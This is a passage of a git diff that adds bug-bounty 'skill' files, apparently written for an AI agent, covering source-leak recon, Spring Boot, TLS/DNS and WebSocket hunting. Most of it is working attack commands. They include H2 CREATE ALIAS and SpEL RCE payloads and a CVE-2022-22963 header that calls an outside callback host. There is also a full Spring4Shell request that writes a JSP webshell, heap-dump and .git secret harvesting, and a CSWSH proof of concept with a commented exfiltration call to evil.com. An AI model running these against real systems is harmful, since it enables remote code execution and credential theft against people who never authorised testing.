Next.js+BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')+curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5++# Step 2: For each JS bundle, check for source map reference at end of file+for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do+ LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)+ echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"+done++# Step 3: Download and reconstruct source from .map files+JS_URL="https://$TARGET/static/js/main.abc123.js"+MAP_URL="${JS_URL}.map"+curl -s "$MAP_URL" | python3 -c "+import sys, json, os+data = json.load(sys.stdin)+sources = data.get('sources', [])+contents = data.get('sourcesContent', [])+for i, (src, content) in enumerate(zip(sources, contents)):+ if content:+ path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')+ os.makedirs(os.path.dirname(path), exist_ok=True)+ with open(path, 'w') as f:+ f.write(content)+ print(f'[+] Extracted: {src}')+"++# Step 4: Grep extracted source for secrets+grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null+grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20+grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20+```++---++## Phase 3 — Swagger / OpenAPI Discovery++```bash+# Common paths+SWAGGER_PATHS=(+ "/swagger.json" "/swagger.yaml" "/swagger/"+ "/api/swagger.json" "/api/swagger.yaml"+ "/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"+ "/openapi.json" "/openapi.yaml"+ "/api/openapi.json" "/api-docs" "/api-docs.json"+ "/api/v1/swagger.json" "/api/v2/swagger.json"+ "/rest/swagger.json" "/rest/api-docs"+ "/.well-known/openapi.json"+ "/graphql/schema.json"+)++for PATH in "${SWAGGER_PATHS[@]}"; do+ STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")+ if [ "$STATUS" = "200" ]; then+ echo "[+] Found: https://$TARGET$PATH"+ # Extract all API paths from swagger+ python3 -c "+import sys, json+try:+ d = json.load(open('/tmp/swagger_test'))+ paths = list(d.get('paths', {}).keys())+ print(f'Endpoints: {len(paths)}')+ print('\n'.join(sorted(paths)))+except: pass+" | head -50+ fi+done+```++---++## Phase 4 — .git Exposure++```bash+# Check if .git directory is accessible+curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"++# If exposed, reconstruct repo+# Tool: git-dumper+pip3 install git-dumper+git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/++# Grep for secrets in all git history+cd /tmp/dumped-repo && \+ git log --all --oneline 2>/dev/null | head -20+ git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30++# trufflehog on git history+trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50+```++---++## Phase 5 — Forgotten Files & Debug Endpoints++```bash+# Build artifacts and debug files+DEBUG_PATHS=(+ "/build-info.json" "/build/build-info.json"+ "/info" "/actuator/info" "/api/info"+ "/version" "/api/version" "/_version"+ "/health" "/status" "/ping"+ "/robots.txt" "/security.txt" "/.well-known/security.txt"+ "/sitemap.xml" "/manifest.json" "/browserconfig.xml"+ "/crossdomain.xml" "/clientaccesspolicy.xml"+ "/phpinfo.php" "/info.php" "/test.php"+ "/server-status" "/server-info" "/.htaccess"+ "/web.config" "/applicationHost.config"+ "/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"+ "/package.json" "/composer.json" "/Gemfile"+ "/Dockerfile" "/docker-compose.yml" "/.dockerenv"+)++for PATH in "${DEBUG_PATHS[@]}"; do+ STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")+ if [ "$STATUS" = "200" ]; then+ echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"+ head -3 /tmp/debug_test+ echo "---"+ fi+done+```++---++## Phase 6 — .DS_Store File Listing++```bash+# .DS_Store files on macOS-deployed web servers reveal directory structure+curl -s "https://$TARGET/.DS_Store" | xxd | head -10++# Parse .DS_Store to extract filenames+pip3 install ds_store+python3 -c "+from ds_store import DSStore+with DSStore.open('/tmp/ds_store_test', 'r') as d:+ for entry in d:+ print(entry.filename)+"++# Recursive .DS_Store enumeration+# Tool: https://github.com/lijiejie/ds_store_exp+python3 ds_store_exp.py "https://$TARGET/"+```++---++## Phase 7 — webpack Chunk Analysis++```bash+# Download and analyze webpack chunks for hardcoded values+# Find chunk files+curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do+ echo "Analyzing: $chunk"+ curl -s "https://$TARGET$chunk" | \+ grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5+done++# Also grep for internal hostnames+curl -s "https://$TARGET/static/js/main.*.js" | \+ grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u++# Check for Base64-encoded secrets+curl -s "https://$TARGET/static/js/main.*.js" | \+ grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do+ DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)+ echo "$DECODED" | grep -iE "key|secret|password|token" && echo " B64: $b64"+done+```++---++## Chain Table++| Source leak finding | Chain to | Impact |+|--------------------|----------|--------|+| Source map with API key | Use key directly → API access | High/Critical |+| Source map with auth logic | Find auth bypass route | Critical |+| Swagger → internal endpoints | Test undocumented admin routes | High |+| .git exposed | Full source history → all past secrets | Critical |+| build-info with git hash | CVE targeting exact version | High |+| .env with DB_PASSWORD | Direct database access | Critical |++---++## Tools++```bash+# git-dumper (reconstruct exposed .git)+pip3 install git-dumper+git-dumper "https://target.com/.git/" /tmp/repo/++# sourcemap-explorer (visualize what's in bundles)+npm install -g source-map-explorer+source-map-explorer main.js++# unwebpack-sourcemap (extract all source files)+npm install -g unwebpack-sourcemap++# trufflehog (secret scanning)+trufflehog filesystem /tmp/repo/+```++---++## Validation++✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets+✅ Swagger: JSON contains internal endpoints not visible in UI+✅ .git exposed: git-dumper successfully clones repo, secrets in history+✅ .env exposed: DATABASE_URL, API_KEY, SECRET_KEY visible in plaintext++**Severity:**+- .env with credentials: Critical+- .git with secrets in history: Critical+- Source map with secrets: High+- Swagger with internal routes: Medium-High+- robots.txt only: Informationaldiff --git a/skills/hunt-springboot/SKILL.md b/skills/hunt-springboot/SKILL.mdnew file mode 100644index 0000000..a02283a--- /dev/null+++ b/skills/hunt-springboot/SKILL.md@@ -0,0 +1,213 @@+---+name: hunt-springboot+description: Hunt Spring Boot specific vulnerabilities — Actuator endpoints (heapdump, env, loggers, mappings, shutdown), Spring Expression Language (SpEL) injection → RCE, H2 console RCE, Jolokia JMX exposure, Spring4Shell (CVE-2022-22965), Spring Cloud Function SPEL (CVE-2022-22963), heap dump credential extraction. Use when target runs Spring Boot — detected via X-Application-Context header, /actuator, Whitelabel Error Page, or Java stack traces.+sources: hackerone_public, cve_database, spring_security_advisories+report_count: 16+---++# HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities++## Crown Jewel Targets++Spring Boot Actuator `/actuator/heapdump` exposed = heap dump with all secrets in memory.++**Highest-value findings:**+- **`/actuator/heapdump`** — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory+- **`/actuator/env`** — lists all environment variables and Spring properties including secrets+- **`/actuator/shutdown`** — POST → shuts down the application (Critical availability impact)+- **H2 Console (`/h2-console`)** — in-memory DB admin UI → SQL query execution → potential RCE via `CREATE ALIAS` trick+- **SpEL injection** — Spring Expression Language in template fields, `@Value` annotations, SpEL-processed request params → RCE+- **Spring4Shell CVE-2022-22965** — Spring Framework < 5.3.18 + Tomcat → RCE via data binding++---++## Phase 1 — Fingerprint Spring Boot++```bash+# Spring Boot indicators+curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"+curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"++# Actuator root (may list available endpoints)+curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null+curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null++# Try common base paths+for base in "" "/manage" "/management" "/app"; do+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")+ [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"+done+```++---++## Phase 2 — Actuator Endpoint Enumeration++```bash+BASE="https://$TARGET/actuator"++# High-impact endpoints+ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics"+ "loggers" "info" "health" "configprops" "shutdown" "trace"+ "httptrace" "auditevents" "sessions" "scheduledtasks" "caches"+ "flyway" "liquibase" "refresh" "restart")++for EP in "${ENDPOINTS[@]}"; do+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$BASE/$EP")+ [ "$STATUS" = "200" ] && echo "[+] EXPOSED: $BASE/$EP"+done++# Get environment variables (passwords, API keys)+curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20++# Get all endpoint mappings (full API surface)+curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort++# Get Spring beans (lists all registered beans, reveals internal architecture)+curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100+```++---++## Phase 3 — Heap Dump Analysis++```bash+# Download heap dump (can be large — 100MB+)+curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof+ls -lh /tmp/heapdump.hprof++# Quick grep for secrets in heap dump (binary file — use strings)+strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \+ grep -v "^[a-z_]" | sort -u | head -50++# More targeted extraction+strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20+strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u # AWS keys+strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys+strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens++# Use Eclipse Memory Analyzer (MAT) for deep analysis+# https://www.eclipse.org/mat/+```++---++## Phase 4 — H2 Console RCE++```bash+# H2 console detection+curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"+curl -s "https://$TARGET/h2" | grep -i "H2 Console"+curl -s "https://$TARGET/console" | grep -i "H2"++# Default credentials: sa / (empty password)+# JDBC URL: jdbc:h2:mem:testdb++# If accessible, RCE via CREATE ALIAS:+# SQL to execute:+# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {+# Runtime rt = Runtime.getRuntime();+# String[] commands = {"sh","-c",cmd};+# Process proc = rt.exec(commands);+# return new String(proc.getInputStream().readAllBytes());+# } $$;+# CALL EXEC('id');+```++---++## Phase 5 — SpEL Injection++```bash+# Spring Expression Language injection in user-controlled fields+# Test: ${7*7} or #{7*7} → should not return 49 in response++# Common injection points:+# - Email template fields: "Hello ${name}"+# - Custom annotation @Value("${user.input}")+# - Spring Security expressions+# - Spring WebFlow++# Basic SpEL test+curl -s -X POST "https://$TARGET/api/user/name" \+ -H "Content-Type: application/json" \+ -d '{"name": "#{7*7}"}'+# If returns 49 → SpEL injection confirmed++# RCE payload+curl -s -X POST "https://$TARGET/api/user/name" \+ -H "Content-Type: application/json" \+ -d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(\"id\")}"}'++# CVE-2022-22963 — Spring Cloud Function SpEL+curl -s -X POST "https://$TARGET/functionRouter" \+ -H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \+ -d "test"+```++---++## Phase 6 — Spring4Shell (CVE-2022-22965)++```bash+# Affects: Spring Framework 5.3.0-5.3.17, 5.2.0-5.2.19+# Requires: Java 9+, Tomcat as WAR deployment++# Detection: does the app accept class.* parameters?+curl -s "https://$TARGET/api/user" \+ -d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"+# Check COLLAB for HTTP callback++# Exploitation: write webshell via class loader+curl -s "https://$TARGET/login" \+ --data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="+```++---++## Phase 7 — Jolokia JMX Exposure++```bash+# Jolokia provides HTTP access to JMX MBeans+curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20+curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20++# List all MBeans+curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30++# Read system properties via Jolokia (may expose credentials)+curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \+ python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"++# Exec MBean operations (potential RCE via MLet)+curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"+```++---++## Chain Table++| Spring Boot finding | Chain to | Impact |+|--------------------|----------|--------|+| `/actuator/heapdump` | Extract DB passwords, API keys from memory | Critical credential exfil |+| `/actuator/env` | Read all env vars including secrets | High |+| H2 console accessible | CREATE ALIAS → RCE | Critical |+| SpEL injection | `T(Runtime).exec()` → OS command | Critical RCE |+| Spring4Shell | Write webshell → RCE | Critical |+| Jolokia + MLet | Remote code via MBean | Critical RCE |++---++## Validation++✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file+✅ Actuator/env: secrets visible in JSON response+✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received+✅ H2 console: SQL executed, `id` output returned++**Severity:**+- Heapdump with credentials: Critical+- SpEL RCE: Critical+- H2 console RCE: Critical+- Actuator env (passwords exposed): High+- Mappings disclosure only: Low-Mediumdiff --git a/skills/hunt-tls-network/SKILL.md b/skills/hunt-tls-network/SKILL.mdnew file mode 100644index 0000000..098d832--- /dev/null+++ b/skills/hunt-tls-network/SKILL.md@@ -0,0 +1,247 @@+---+name: hunt-tls-network+description: Hunt TLS/SSL and DNS misconfigurations — missing HSTS (downgrade attack), weak cipher suites, expired/invalid certificates, mTLS bypass, missing SPF/DKIM/DMARC (email spoofing), DNS Zone Transfer (AXFR), dangling CNAME subdomain takeover, missing CAA records. Use during recon to find infrastructure weaknesses and email spoofing opportunities.+sources: hackerone_public, ssl_labs_research+report_count: 9+---++# HUNT-TLS-NETWORK — TLS/SSL & DNS Security++## Crown Jewel Targets++Missing DMARC + weak SPF = send email as CEO to any user (phishing chain). DNS AXFR = full internal hostname map.++**Highest-value findings:**+- **Missing DMARC / SPF** — attacker sends email as `[email protected]` to any recipient → phishing / social engineering → credential theft+- **HSTS missing on auth subdomain** — downgrade attack → MitM session cookies over HTTP+- **DNS Zone Transfer (AXFR)** — misconfigured nameserver reveals all internal hostnames, IPs, infrastructure layout+- **mTLS bypass** — internal service expects mTLS but accepts without client cert when accessed via specific paths+- **Weak cipher suites** — SWEET32, POODLE, FREAK, DROWN → decrypt TLS sessions++---++## Phase 1 — TLS/SSL Audit++```bash+# Quick TLS test with testssl.sh+brew install testssl+testssl.sh --fast $TARGET 2>/dev/null | grep -E "CRITICAL|HIGH|MEDIUM|OK|NOT" | head -30++# Or use sslyze (Python)+pip3 install sslyze+python3 -m sslyze $TARGET --json_out /tmp/sslyze_$TARGET.json 2>/dev/null+cat /tmp/sslyze_$TARGET.json | python3 -m json.tool | grep -i "vulnerability\|insecure\|error" | head -20++# Check certificate expiry and chain+echo | openssl s_client -connect $TARGET:443 -servername $TARGET 2>/dev/null | \+ openssl x509 -noout -dates -subject -issuer 2>/dev/null++# Check for weak ciphers manually+openssl s_client -connect $TARGET:443 -cipher RC4-SHA 2>/dev/null | grep -i "cipher\|handshake"+openssl s_client -connect $TARGET:443 -cipher DES-CBC3-SHA 2>/dev/null | grep -i "cipher\|handshake"+```++---++## Phase 2 — HSTS Check++```bash+# Check HSTS header on main domain and all subdomains+curl -sI "https://$TARGET/" | grep -i "strict-transport-security"+# Expected: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload++# Check critical subdomains (login, api, auth)+for sub in login auth api account pay www; do+ HSTS=$(curl -sI "https://$sub.$TARGET/" 2>/dev/null | grep -i "strict-transport-security")+ if [ -z "$HSTS" ]; then+ echo "[!] MISSING HSTS: https://$sub.$TARGET/"+ else+ echo "[OK] $sub.$TARGET: $HSTS"+ fi+done++# Check HTTP (non-HTTPS) redirect+curl -sI "http://$TARGET/" | grep -i "location"+# Should redirect to HTTPS immediately++# HSTS preload check+curl -s "https://hstspreload.org/api/v2/status?domain=$TARGET" | python3 -m json.tool 2>/dev/null+```++---++## Phase 3 — DNS Zone Transfer (AXFR)++```bash+# Find nameservers+dig NS $TARGET +short++# Attempt zone transfer on each nameserver+for NS in $(dig NS $TARGET +short); do+ echo "=== Trying AXFR from $NS ==="+ dig AXFR $TARGET @$NS 2>/dev/null | grep -v "^;" | head -30+done++# Zone transfer via alternative tools+host -t AXFR $TARGET $(dig NS $TARGET +short | head -1) 2>/dev/null | head -30+nmap -sn --script dns-zone-transfer $TARGET 2>/dev/null | head -30++# If AXFR succeeds → full internal hostname map+# Look for: internal IPs, staging servers, admin hostnames, CI/CD servers+```++---++## Phase 4 — Email Security (SPF/DKIM/DMARC)++```bash+# Check SPF record+dig TXT $TARGET +short | grep "v=spf1"+# Missing SPF → potential email spoofing++# Check DMARC+dig TXT _dmarc.$TARGET +short+# Missing DMARC → attacker can send as @target.com with no enforcement++# Check DKIM selectors (common: default, google, mail, k1)+for selector in default google mail k1 selector1 selector2 s1 s2 dkim; do+ RESULT=$(dig TXT $selector._domainkey.$TARGET +short 2>/dev/null)+ [ -n "$RESULT" ] && echo "DKIM selector found: $selector → $RESULT"+done++# Check if email spoofing is possible+# Weak SPF: v=spf1 +all (allow all) → definitely spoofable+# Missing DMARC: p=none → reports only, no enforcement → spoofable+# Missing DMARC completely → no policy → spoofable++dig TXT $TARGET +short | grep "v=spf1" | grep -q "+all" && echo "[CRITICAL] SPF allows all!"+dig TXT _dmarc.$TARGET +short | grep -q "p=none" && echo "[HIGH] DMARC policy is 'none' — no enforcement"+dig TXT _dmarc.$TARGET +short | wc -c | grep -q "^1$" && echo "[HIGH] No DMARC record found"+```++---++## Phase 5 — Security Headers Audit++```bash+# Check all security headers+HEADERS=$(curl -sI "https://$TARGET/")++# Check each critical header+for HEADER in "Strict-Transport-Security" "Content-Security-Policy" "X-Frame-Options" \+ "X-Content-Type-Options" "Referrer-Policy" "Permissions-Policy"; do+ RESULT=$(echo "$HEADERS" | grep -i "$HEADER")+ if [ -z "$RESULT" ]; then+ echo "[MISSING] $HEADER"+ else+ echo "[OK] $HEADER: $RESULT"+ fi+done++# Automated security headers check+curl -s "https://securityheaders.com/?q=https://$TARGET&followRedirects=on" | \+ grep -oP "grade-\K[A-F+]" | head -3+```++---++## Phase 6 — Certificate Transparency (Subdomain Discovery)++```bash+# crt.sh — certificate transparency logs+curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | \+ python3 -m json.tool 2>/dev/null | grep "name_value" | \+ grep -oP '"name_value": "\K[^"]+' | \+ sed 's/\*\.//g' | sort -u > recon/$TARGET/ct-subdomains.txt++echo "[+] CT subdomains found: $(wc -l < recon/$TARGET/ct-subdomains.txt)"++# Compare with existing subdomain list+comm -23 <(sort recon/$TARGET/ct-subdomains.txt) \+ <(sort recon/$TARGET/subdomains.txt 2>/dev/null) | head -20+# New entries = recently issued certs = new services to investigate+```++---++## Phase 7 — CAA Records++```bash+# CAA records limit which CAs can issue certificates for the domain+dig CAA $TARGET +short+# Missing CAA → any CA can issue wildcard cert → potential cert issuance abuse++# Check wildcard coverage+dig CAA "*.$TARGET" +short++# For report: if no CAA → any CA can be social-engineered or compromised to issue cert+```++---++## Phase 8 — mTLS Bypass Attempts++```bash+# Check if endpoint requires client certificate+curl -sk "https://$TARGET/internal/" 2>&1 | grep -i "ssl\|certificate\|403\|401"++# Try without client cert (should fail)+curl -sk --cert "" "https://$TARGET/internal/api" | head -5++# Try common bypass paths (some apps skip mTLS on health checks)+for path in /health /ping /status /metrics /api/health; do+ STATUS=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")+ echo "$path: $STATUS"+done++# Header injection bypass (if reverse proxy passes X-Client-Verify)+curl -sk "https://$TARGET/internal/api" \+ -H "X-Client-Verify: SUCCESS" \+ -H "X-Client-DN: CN=admin,O=target,C=US" | head -5+```++---++## Chain Table++| TLS/DNS finding | Chain to | Impact |+|----------------|----------|--------|+| Missing DMARC+SPF | Send email as target employee → phishing | High |+| AXFR success | Full internal host map → target internal services | High |+| Missing HSTS on auth subdomain | HTTP downgrade → MitM session cookies | High |+| Weak ciphers (SWEET32) | Long-duration session decryption | Medium |+| Missing CAA | Fraudulent certificate issuance | Medium |++---++## Tools++```bash+# testssl.sh — comprehensive TLS audit+brew install testssl+testssl.sh $TARGET++# sslyze — Python TLS scanner+pip3 install sslyze++# MXToolbox for email security+curl -s "https://mxtoolbox.com/api/v1/Lookup/spf?argument=$TARGET" 2>/dev/null++# dmarc-inspector+curl -s "https://dmarcian.com/dmarc-inspector/?domain=$TARGET" 2>/dev/null+```++---++## Validation++✅ SPF spoofing: swaks or sendmail can send email as @target.com without authentication+✅ AXFR: zone transfer returns internal hostnames and IPs+✅ HSTS missing: HTTP request to auth domain returns 200 (no redirect to HTTPS)++**Severity:**+- Missing DMARC + spoofing confirmed: Medium-High (most programs)+- AXFR returning internal hosts: High+- HSTS missing on auth: Medium+- Weak ciphers: Medium+- Missing security headers only: Low-Infodiff --git a/skills/hunt-websocket/SKILL.md b/skills/hunt-websocket/SKILL.mdnew file mode 100644index 0000000..1c46454--- /dev/null+++ b/skills/hunt-websocket/SKILL.md@@ -0,0 +1,206 @@+---+name: hunt-websocket+description: Hunt WebSocket vulnerabilities — Cross-Site WebSocket Hijacking (CSWSH), missing authentication on WS handshake, message tampering, event authorization bypass, WS→HTTP request smuggling. Use when target has WebSocket endpoints (ws:// or wss://), real-time features, chat, live dashboard, or trading platforms.+sources: hackerone_public, portswigger_research+report_count: 11+---++# HUNT-WEBSOCKET — WebSocket Security++## Crown Jewel Targets++CSWSH (Cross-Site WebSocket Hijacking) without CSRF token = High (session data theft from any user).++**Highest-value chains:**+- **CSWSH → data exfil** — WS handshake uses cookies but no CSRF token → attacker page initiates WS as victim → receives real-time stream of victim's messages/data+- **No auth on WS messages** — HTTP auth present but WS messages not re-validated per-message → send privileged messages without auth+- **WS message tampering** — modify in-flight messages (price, user ID, amount) in real-time trading/financial apps+- **WS→HTTP smuggling** — malformed WebSocket frames confuse HTTP/1.1 reverse proxies → request smuggling+- **Event authorization bypass** — subscribe to channels/rooms for other users without permission check++---++## Phase 1 — Discover WebSocket Endpoints++```bash+# Grep JS files for WebSocket connections+grep -r "new WebSocket\|io.connect\|socket.io\|ws://" recon/$TARGET/ --include="*.js" 2>/dev/null | \+ grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_-]+socket[^'\"]*)" | sort -u++# Look for socket.io or WS endpoints in crawl+cat recon/$TARGET/urls.txt | grep -iE "socket|ws\b|websocket|stream|realtime|live|chat|events"++# HTTP upgrade headers+curl -sI https://$TARGET/ws 2>/dev/null | grep -i "upgrade\|websocket"+curl -sI https://$TARGET/socket.io/ 2>/dev/null | grep -i "upgrade"++# Port scan for non-standard WS ports+nmap -sV -p 8080,8443,9000,3000,3001 $TARGET 2>/dev/null | grep "open"+```++---++## Phase 2 — CSWSH (Cross-Site WebSocket Hijacking)++```bash+# Step 1: Check if WS handshake uses cookies for auth (no CSRF token)+# Open target in browser → DevTools → Network → WS tab+# Check handshake headers — if only Cookie: session=X → CSWSH candidate++# Step 2: Check if Origin header is validated+# Test with wrong origin+wscat -c "wss://$TARGET/ws" \+ --header "Origin: https://evil.com" \+ --header "Cookie: session=YOUR_SESSION"+# If connection accepted from evil.com origin → CSWSH confirmed++# Step 3: PoC HTML (host on evil.com, open while victim is logged in)+cat > /tmp/cswsh-poc.html << 'EOF'+<html><body>+<pre id="out"></pre>+<script>+var ws = new WebSocket("wss://TARGET/ws");+ws.onopen = function() {+ document.getElementById("out").textContent += "[+] Connected (as victim via CSWSH)\n";+ ws.send(JSON.stringify({type: "subscribe", channel: "user_notifications"}));+};+ws.onmessage = function(e) {+ document.getElementById("out").textContent += "MSG: " + e.data + "\n";+ // Exfil to attacker:+ // fetch("https://evil.com/log?d=" + encodeURIComponent(e.data));+};+ws.onerror = function(e) {+ document.getElementById("out").textContent += "ERR: " + e + "\n";+};+</script>+</body></html>+EOF+```++---++## Phase 3 — Missing Authentication on WS Messages++```bash+# Connect to WS without a session cookie+wscat -c "wss://$TARGET/ws"+# Send messages — do they get processed?+# {"type": "getUserData", "userId": 1}+# {"type": "getAdminPanel"}++# Connect with low-priv session, send high-priv messages+wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"+# Then send admin action:+# {"action": "deleteUser", "userId": 999}+# {"action": "getSecretConfig"}+```++---++## Phase 4 — Message Tampering (Financial/Game targets)++```bash+# Intercept WS messages with Burp Suite (Proxy → WebSockets history)+# Modify in-transit:+# {"price": 100} → {"price": 0.01}+# {"amount": 1} → {"amount": 9999}+# {"userId": 123} → {"userId": 1} (admin)++# With wscat — replay modified messages+wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"+# Then type: {"action":"buy","amount":1,"price":0.01}+```++---++## Phase 5 — Event / Channel Authorization Bypass++```bash+# Socket.io room join without permission check+# Connect and subscribe to other users' private channels+wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket" \+ --header "Cookie: session=YOUR_SESSION"+# After connect, send:+# 42["join", {"room": "user_999_private"}]+# 42["subscribe", {"channel": "admin_events"}]++# Check if server rejects or accepts the subscription+# If accepted → receive other users' real-time events+```++---++## Phase 6 — WS → HTTP Request Smuggling++```bash+# Test with malformed WS frames that confuse reverse proxies+# Requires Burp Suite Pro with HTTP Request Smuggler extension++# Manual test: send HTTP request headers inside WS frame data+wscat -c "wss://$TARGET/ws" --header "Cookie: session=SESSION"+# Send: "GET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n"+# If proxy interprets as HTTP request → smuggling possible+```++---++## Phase 7 — Socket.io Specific Checks++```bash+# Check socket.io version (older versions have auth bypass)+curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -5++# Namespace enumeration+# Default: /+# Try: /admin, /internal, /api, /dashboard+wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket&nsp=/admin"++# Room/namespace without auth+curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling&sid=FAKE"++# Check if handshake token is validated+curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | \+ python3 -c "import sys,json; d=sys.stdin.read(); print(d)"+```++---++## Tools++```bash+# wscat — WebSocket CLI client+npm install -g wscat+wscat -c "wss://target.com/ws" --header "Cookie: session=TOKEN"++# websocat — alternative WS client+brew install websocat+websocat "wss://target.com/ws" --header "Cookie: session=TOKEN"++# Burp Suite — WebSockets history tab for intercept/replay/tamper+# Pwncat for WS → HTTP smuggling tests+```++---++## Chain Table++| WS finding | Chain to | Impact |+|-----------|----------|--------|+| CSWSH confirmed | Subscribe to victim's channels | Real-time data theft |+| No per-message auth | Send admin actions | Privilege escalation |+| Message tampering | Modify prices/amounts | Financial fraud |+| Channel auth bypass | Subscribe other users' private rooms | Mass data exfil |++---++## Validation++✅ CSWSH: PoC HTML on evil.com receives victim's WS messages via browser auto-send cookies+✅ No auth: WS message processed without valid session+✅ Channel bypass: received messages from another user's private channel++**Severity:**+- CSWSH → session data theft: High+- No auth on admin WS actions: Critical+- Financial message tampering: Critical+- Channel subscription bypass: High